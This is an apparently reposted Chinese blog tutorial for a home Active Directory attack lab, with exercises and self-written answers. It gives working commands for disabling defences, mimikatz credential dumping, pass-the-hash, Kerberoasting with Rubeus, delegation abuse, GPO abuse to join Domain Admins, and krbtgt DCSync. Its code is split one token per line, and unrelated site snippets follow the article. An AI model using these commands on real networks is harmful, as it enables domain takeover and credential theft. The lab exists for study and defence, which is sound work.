<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Active-Directory-Security-101

    VSole2021-07-19 23:10:15

    環境搭建

    https://github.com/cfalta/adsec/tree/main/lab-setup

    • DC2019-Windows 2019
    • user1-Windows 2019
    • user2-Windows 2019

    配置域控

    新增一個網卡,三個虛擬機使用這個網卡

    設定指定ip

    我是直接復制虛擬機,需要更改mac地址和sid。

    還要更改sid

    可以使用系統內置的工具sysprep或者另外一個newsid

    工具https://newsid.softag.com/download

    在三臺機器上以管理員權限執行以下命令。

    • 關閉防火墻
    Set
    -
    NetFirewallProfile
     
    -
    Profile
     
    Domain
    ,
    Public
    ,
    Private
     
    -
    Enabled
     
    False
    
    • 關閉Windows Defender
    Uninstall
    -
    WindowsFeature
     
    -
    Name
     
    Windows
    -
    Defender
    

    下載自動化腳本輔助安裝

    https://github.com/cfalta/adsec/tree/main/lab-setup/domain-setup-scripts

    運行createdomain腳本,自行修改里面的域名稱。

    這里應該不能一步完成

    先執行

    Install
    -
    WindowsFeature
     
    -
    Name
     AD
    -
    Domain
    -
    Services
     
    -
    IncludeManagementTools
    

    重啟后再繼續執行。

    重啟后執行這個文件

    功能就是根據json文件去自動添加用戶和組等等。

    配置域內機器

    在兩臺成員機器上使用以下兩個域賬號注冊

    John DoejohnP@ssw0rdBruce LeebleeTekkenIsAwesome!

    user1這臺用john認證

    user2機器用blee登錄

    攻擊機器準備

    用john登錄user1這臺機器,當做入口點,再分配一張網卡,讓他出網。

    默認工具包下載地址

    https://github.com/cfalta/adsec/blob/main/exercises/attacker-tools

    bloodhound安裝及配置

    谷歌一下

    信息收集

    導入powerview模塊

    cd C
    :
    \attacker
    -
    tools
    cat 
    -
    raw 
    ".\PowerView.ps1"
     
    |
     iex
    

    獲取當前域的基本信息和域控位置

    Get
    -
    Domain
    Get
    -
    DomainController
    

    查看有多少電腦和域內用戶

    Get
    -
    DomainComputer
    Get
    -
    DomainUser
    

    過濾出域管出來

    Get
    -
    DomainUser
     
    |
     
    ?
     
    {
    $_
    .
    memberof 
    -
    like 
    "*Domain Admins*"
    }
    Get
    -
    DomainUser
     
    |
     
    ?
     
    {
    $_
    .
    memberof 
    -
    like 
    "*Domain Admins*"
    }
     
    |
     select samaccountname
    

    課后習題

    參考答案我會放在最后面哦

    1. 域中有多少臺計算機以及它們在什么操作系統上運行?
    2. 域中有多少用戶?編寫一個 powershell 語句進行查詢,以表格形式列出所有用戶,僅顯示屬性 samaccountname、displayname、description 和最后一次密碼更改的時間。
    3. 您能識別出哪些自定義的管理員組?以通用方式更改上面的 powershell 查詢,使其僅返回自定義管理組。
    4. 找到對應管理員組的成員,這些用戶上一次設置密碼是什么時候?
    5. 有快速識別出域中服務帳戶的簡單方法嗎?編寫一個 powershell 查詢,列出所有服務帳戶。

    NTLM的利用

    • mimikatz
    • psexec

    需要管理員權限,使用本地administrator用戶登錄

    privilege
    ::
    debug
    token
    ::
    elevate
    lsadump
    ::
    sam
    

    獲得到管理員hash

    7dfa0531d73101ca080c7379a9bff1c7

    pth攻擊

    sekurlsa
    ::
    pth 
    /
    user
    :
    Administrator
     
    /
    ntlm
    :
    7dfa0531d73101ca080c7379a9bff1c7
     
    /
    domain
    :
    wing
    .
    lab
    

    psexec
    .
    exe \\user2 cmd
    

    課后習題

    1. mimikatz 執行"privilege::debug"和"token::elevate"的目的是什么?為什么需要執行它們?
    2. 以 Bruce Lee 的身份登錄 user1。使用您在上面學到的知識幫助 john 從內存中遠程提取 Bruce Lee的 NTLM 哈希。
    3. 如何盡可能的緩解PTH攻擊,請講清楚原因。
    4. 是否有可能(并且可行)完全禁用 NTLM?解釋你的理由。

    Kerberos-Roasting

    預習資料域滲透——AS-REP Roasting

    加載插件

    cd C
    :
    \attacker
    -
    tools
    cat 
    -
    raw 
    .
    \PowerView
    .
    ps1 
    |
     iex
    cat 
    -
    raw 
    .
    \Invoke
    -
    Rubeus
    .
    ps1 
    |
     iex
    

    查詢SPN,獲得服務用戶

    Get
    -
    DomainUser
     
    -
    SPN 
    |
     select samaccountname
    ,
     description
    ,
     pwdlastset
    ,
     serviceprincipalname
    

    Rubeus有一個統計kerberos數據的功能

    Invoke
    -
    Rubeus
     
    -
    Command
     
    "kerberoast /stats"
    

    獲取目標賬戶的TGS

    Invoke
    -
    Rubeus
     
    -
    Command
     
    "kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt"
    

    這里的腳本是base64之后通過powershell內存加載

    function
     
    Invoke
    -
    Rubeus
    ([
    string
    ]
    $Command
    )
    {
    $Message
    =
    "base64"
    ;
    $Assembly 
    =
     
    [
    System
    .
    Reflection
    .
    Assembly
    ]::
    Load
    ([
    Convert
    ]::
    FromBase64String
    (
    $Message
    ))
    [
    Rubeus
    .
    Program
    ]::
    Main
    (
    $Command
    .
    Split
    (
    " "
    ))
    }
    

    破解TGS

    .
    \john
    .
    exe 
    ..
    \.
    .
    \krb5tgs
    .
    txt 
    --
    wordlist
    =..
    \.
    .
    \example
    .
    dict 
    --
    rules
    =
    passphrase
    -
    rule2
    

    課后習題

    1. 研究如何最好地減輕 kerberoasting 攻擊。描述一下您認為最好的緩解技術,并解釋其原因。
    2. 還有一個用戶會受到ASREP roasting影響,請找出來。
    3. 解釋一下TGS vs. ASREP roasting

    Kerberos (Delegation)

    之前設置的時候沒改json里面的數據,要把domain改了

    找到委派用戶

    Get
    -
    DomainUser
     
    -
    TrustedToAuth
    

    查看委派的目標

    Get
    -
    DomainUser
     
    -
    TrustedToAuth
     
    |
     select 
    -
    ExpandProperty
     msds
    -
    allowedtodelegateto
    

    執行這個攻擊的條件就是要知道用戶的密碼才行

    生成hash

    Invoke
    -
    Rubeus
     
    -
    Command
     
    "hash /password:Amsterdam2015 /domain:wing.lab /user:service1"
    

    Rubeus允許我們在新的登錄會話中啟動powershell。這意味著我們偽造的票證只存在于這個登錄會話中,不會干擾用戶john已經存在的kerboers票證。

    使用s4u請求一個TGS模擬域管理用戶Bruce(bwillis)攻擊user1。

    我們請求3個不同服務的票證

    CIFS將用于SMB訪問

    HOST/RPCSS用于WMI

    Invoke
    -
    Rubeus
     
    -
    Command
     
    "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:cifs/user1.wing.lab /ptt"
    Invoke
    -
    Rubeus
     
    -
    Command
     
    "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073  /impersonateuser:bwillis /msdsspn:host/user1.wing.lab /ptt"
    Invoke
    -
    Rubeus
     
    -
    Command
     
    "s4u /user:service1 /aes256:BE09389D798B17683B105FF6432BA4FD4785DA5A08BFD3F39328A6525433E073 /impersonateuser:bwillis /msdsspn:rpcss/user1.wing.lab /ptt"
    

    查看緩存的票據

    前面我設置錯了,委派的目標應該設置成user2,user1是自己,不過意思都一樣。

     ls \\user1
    .
    wing
    .
    lab\C$
    

    通過wmi控制user1

    Get
    -
    WmiObject
     
    -
    Class
     win32_process 
    -
    ComputerName
     adsec
    -
    01.contoso
    .
    com
    

    課后習題

    1. 在上面的練習中,您通過SMB和WMI獲得了對服務器user的讀取權限。現在試著通過這兩個協議來執行代碼。目標是執行以下命令,將用戶john添加到本地管理組
    2. 嘗試模擬域管理員用戶Chuck Norris而不是“Bruce Willis。有什么作用

    ACL攻擊

    信息收集

    cat 
    -
    raw 
    .
    \SharpHound
    .
    ps1 
    |
     iex
    Invoke
    -
    Bloodhound
     
    -
    CollectionMethod
     
    DcOnly
     
    -
    Stealth
     
    -
    PrettyJson
     
    -
    NoSaveCache
    
    • CollectionMethod DcOnly表示僅從域控收集數據。從opsec的角度來看,這樣比較好,因為是正常流量。
    • Stealth單線程啟動。速度較慢,但安全。
    • PrettyJson 格式化.json文件。
    • NoSaveCache 不保存緩存文件。


    啟動血犬

    下載社區版的neo4j

    https://neo4j.com/download-center/#releases

    ?
     jdk11
    ?
     
    ./
    neo4j start
    

    先把service1標記為已淪陷

    點擊這里

    這里顯示用戶對域控的組策略有寫入權限,通過組策略利用,攻擊DC

    需要先以service1的身份登錄

    runas 
    /
    user
    :
    wing
    .
    lab\service1 powershell
    .
    \SharpGPOAbuse
    .
    exe 
    --
    AddComputerTask
     
    --
    TaskName
     
    "Update"
     
    --
    Author
     contoso\adminuser 
    --
    Command
     
    "cmd.exe"
     
    --
    Arguments
     
    '/c net group \"Domain Admins\" john /ADD'
     
    --
    GPOName
     
    "Default Domain Controllers Policy"
     
    --
    force
    

    寫入完成以后,需要等管理員更新組策略才會觸發。

    手工弄一下。

    提權成功

    成功登錄到域控

    課后習題

    • acl攻擊有哪些利用工具?

    權限維持

    權限維持的東西比較多

    • 金銀票據
    • Mimikatz后門
    • 等等等等


    一般拿到DC權限就先執行

    lsadump
    ::
    dcsync 
    /
    user
    :
    krbtgt
    

    拿到所有用戶hash,也可以作為后門。

    課后習題

    • 自主學習這些權限維持方法的原理。

    參考答案

    我做的不一定對,有錯誤請留言。

    信息收集

    powerview3.0 tricks

    https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

    1. 域中有多少臺計算機以及它們在什么操作系統上運行?

    1. 域中有多少用戶?編寫一個 powershell 語句進行查詢,以表格形式列出所有用戶,僅顯示屬性 samaccountname、displayname、description 和最后一次密碼更改的時間。

    1. 您能識別出哪些自定義的管理員組?以通用方式更改上面的 powershell 查詢,使其僅返回自定義管理組。
    Get
    -
    DomainGroupMember
     
    -
    Identity
     
    "Domain Admins"
     
    -
    Recurse
    

    1. 找到對應管理員組的成員,這些用戶上一次設置密碼是什么時候?

    1. 有快速識別出域中服務帳戶的簡單方法嗎?編寫一個 powershell 查詢,列出所有服務帳戶。
     
    Get
    -
    DomainUser
     
    -
    SPN
    |
    select serviceprincipalname
    ,
    userprincipalname
    ,
    pwdlastset
    ,
    lastlogon
    

    NTLM

    獼猴桃命令大全

    1. mimikatz 執行"privilege::debug"和"token::elevate"的目的是什么?為什么需要執行它們?
    privilege
    ::
    debug 
    -
     
    提升為管理員權限
    token
    ::
    elevate 
    -
     
    偽造令牌,獲得
    system
    權限或發現其他用戶的令牌
    
    1. 以 Bruce Lee 的身份登錄 user1。使用您在上面學到的知識幫助 john 從內存中遠程提取 Bruce Lee的 NTLM 哈希。
    lsadump
    ::
    dcsync 
    /
    domain
    :
    wing
    .
    lab 
    /
    user
    :
    bruce
    dump
    所有數據
    lsadump
    ::
    dcsync 
    /
    domain
    :
    wing
    .
    lab 
    /
    all 
    /
    csv
    
    1. 如何盡可能的緩解PTH攻擊,請講清楚原因。
    • 打上補丁kb2871997并且禁用SID=500的管理員用戶
    • 監控日志
    1. 是否有可能(并且可行)完全禁用 NTLM?解釋你的理由。
    • 審查收到的NTLM流量:啟用對所有帳戶的審查
    • 僅發送NTLMv2響應。拒絕LM&NTLM

    第四點我不太確定。

    Kerberos (Roasting)

    1. 研究如何最好地減輕 kerberoasting 攻擊。描述一下您認為最好的緩解技術,并解釋其原因。
    • 禁止用戶開啟 DonotrequireKerberospreauthentication
    • 禁止弱口令
    1. 還有一個用戶會受到ASREP roasting影響,請找出來。

    Get-DomainUser -PreauthNotRequired -Verbose

    1. 解釋一下TGS vs. ASREP roasting

    https://www.4hou.com/posts/YVyM

    Kerberos (Delegation)

    1. 在上面的練習中,您通過SMB和WMI獲得了對服務器user的讀取權限。現在試著通過這兩個協議來執行代碼。目標是執行以下命令,將用戶john添加到本地管理組:
    • psexec
    wmic 
    /
    node
    :
    user1 process call create 
    "cmd.exe /c net localgroup Administrators john /add"
    
    1. 嘗試模擬域管理員用戶Chuck Norris而不是“Bruce Willis。有什么作用?

    可以攻擊域控

    ACL

    acl攻擊有哪些利用工具?

    • github.com

    權限維持

    • 自主學習這些權限維持的原理。
    domain
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    近日,360漏洞云監測該CVE-2022-26923漏洞的細節及PoC已在互聯網公開。當Active Directory證書服務在域上運行時,經過身份驗證的攻擊者可以在證書請求中包含特制的數據。
    功能domainscan調用 subfinder 被動收集,調用 ksubdoamin 進行 dns 驗證泛解析、CDN 判斷獲取 domain 相關的 web(host:port)資產,使用 webscan 掃描webscan支持 http/https scheme 自動判斷獲取 statusCode、contentLength、favicon、iconHash、title、wappalyzer
    網絡掃描:探測域名
    2021-07-28 11:12:21
    Ping掃描,域名解析,反向DNS查詢,子域名枚舉。
    2022年3月,谷歌宣布Google Domains正式上線,并提供了大量新的頂級域名供注冊。2023年5月底,Google Domains又開放了一批新的頂級域名,包括ZIP和DAD等。然而,令人意外的是,今天企業品牌平臺Squarespace宣布已經與谷歌達成收購協議,將收購Google Domains。
    CS 域前置+流量混淆
    2021-10-14 06:58:22
    域前置(Domain Fronting)被稱為域前端網絡攻擊技術,是一種隱藏連接真實端點來規避互聯網審查的技術。這種技術被安全人員多用來隱藏 Metasploit,Cobalt Strike 等團隊控制服務器流量, 以此來一定程度繞過檢查器或防火墻檢測的技術,國內外如:Amazon ,Google,Akamai 等大型廠商都會提供一些域前端技術服務。
    顯然不能將所有信息都儲存在一臺域名服務器中。根域名服務器是最高層次的域名服務器。因特網上共有13個不同IP地址的根域名服務器。因此權限域名服務器知道其管轄的域名與IP地址的映射關系。當一個主機發出DNS請求報文時,這個報文就首先被送往該主機的本地域名服務器。
    域密碼噴灑實現
    2021-12-30 06:49:03
    域密碼噴灑實現
    一款IP滲透小工具
    2023-05-15 09:07:02
    MoreFind一款用于快速導出URL、Domain和IP的小工具快速安裝方式一: 通過Go包管理安裝。MoreFind is a very fast script for searching URL、Domain and Ip from specified stream. Available Commands: completion Generate the autocompletion script for the specified shell help Help about any command version Print the semantic version number of MoreFind. 1)導出URLMoreFind -u# append --filter or --filter="png,jpg,xls,custom..."# 通過添加參數 --filter 或者 通過 --filter="png,jpg" 自定義需要排除的后綴MoreFind -u --filter="png". 3)導出ip# 默認會搜索全部ipv4地址MoreFind -i# 加上--exclude 排除屬于內網的ip, 存在bug,比如localhost, 127.0.0.1 這些回環ip沒排除MoreFind -i --exclude
    通過主機名,最終得到該主機名對應的IP地址的過程叫做域名解析。地址1.3 DNS 的功能每個 IP 地址都可以有一個主機名,主機名由一個或多個字符串組成,字符串之間用小數點隔開。主機名到 IP 地址映射的兩種方式靜態映射/etc/hosts文件在每臺設備上都有主機到IP的映射關系,只供此設備使用動態映射/etc/resolv.conf文件指通過DNS服務器配置主機到IP的映射關系#?
    0X01字典制作篇 tesla.cn為例子 在線子域名查詢 (https://phpinfo.me/domain
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类